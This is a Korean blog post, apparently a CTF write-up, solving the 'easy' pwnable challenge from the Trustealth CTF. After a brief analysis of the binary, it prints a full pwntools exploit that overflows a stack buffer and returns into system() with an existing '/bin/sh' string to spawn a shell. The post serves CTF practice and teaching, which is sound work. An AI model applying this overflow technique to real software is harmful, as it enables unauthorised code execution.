Trustealth CTF easy write up
2018. 1. 8. 09:21
오늘은 학교에 와서 오랜만에 st34lth.com에 접속하여 예전 trusthealth ctf 의 포너블 문제를 풀었다. easy 문제는 이름과 다르게 쉬운 편이 아니었다. 엄청 쉬운 편이었다.
binary 분석
main 함수는 vuln() 이라는 함수를 호출하고 종료한다. vuln() 함수에는 다음과 같은 코드가 있다.
read() 함수로 buf에 값을 받는다. system("\n") 를 하고 종료한다.
read()로 bss 영역에 "/bin/sh\x00" 을 집어넣고 system(bss) 를 하면 될 줄 알았지만, 사실 read로 130 바이트밖에 안받고 더 개쩌는 거시,,
/bin/sh 가 이미 존재한다.
Exploit
#!/usr/bin/python # coding: utf-8 from pwn import * p = process("./easy") # context.log_level = "debug" """ 0x080484da : pop edi ; pop ebp ; ret 0x080484d9 : pop esi ; pop edi ; pop ebp ; ret """ ppr = 0x080484da pppr = 0x080484d9 bss = 0x0804a029 binsh = 0x0804A020 read_plt = 0x08048300 read_got = 0x0804a00c system_plt = 0x08048310 system_got = 0x0804a010 payload = "A" * 108 payload += "BBBB" payload += p32(system_plt) payload += "AAAA" payload += p32(binsh) p.send(payload) p.interactive()
그리고 쉘을 딴다.
'write-ups > CTF' 카테고리의 다른 글
codegate 2018 write up (0) | 2018.02.07 |
---|---|
Codegate 2018 본선 진출했습니다 (0) | 2018.02.04 |
christmas CTF PICTUBE Write up (0) | 2017.12.27 |
2017 ROOT CTF write up (0) | 2017.12.26 |
mma ctf 2nd 2016 greeting write up (0) | 2017.12.19 |